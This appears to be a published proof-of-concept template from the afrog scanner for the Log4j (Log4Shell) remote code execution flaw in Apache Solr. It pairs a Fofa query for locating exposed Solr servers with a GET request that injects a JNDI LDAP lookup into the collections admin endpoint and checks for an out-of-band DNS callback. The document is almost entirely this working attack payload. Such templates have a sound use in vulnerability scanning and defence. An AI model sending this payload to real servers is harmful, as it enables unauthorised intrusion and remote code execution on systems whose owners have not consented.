solr-log4j-rce: Apache Solr Log4j Remote Code Execution

2025-08-01 Apache Solr PoC Public

Description

Fofa: app="APACHE-Solr"

PoC

id: solr-log4j-rce

info:
  name: Apache Solr Log4j Remote Code Execution
  author: zan8in
  severity: critical
  verified: true
  description: |
    Fofa: app="APACHE-Solr"
  created: 2023/06/09

set:
  oob: oob()
  oobDNS: oob.DNS
rules:
  r0:
    request:
      method: GET
      path: /solr/admin/collections?action=${jndi:ldap://{{oobDNS}}}&wt=json
    expression: oobCheck(oob, oob.ProtocolDNS, 3)
expression: r0()

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.
Source: https://github.com/zan8in/afrog/blob/main/pocs/afrog-pocs/vulnerability/solr-log4j-rce.yaml

References

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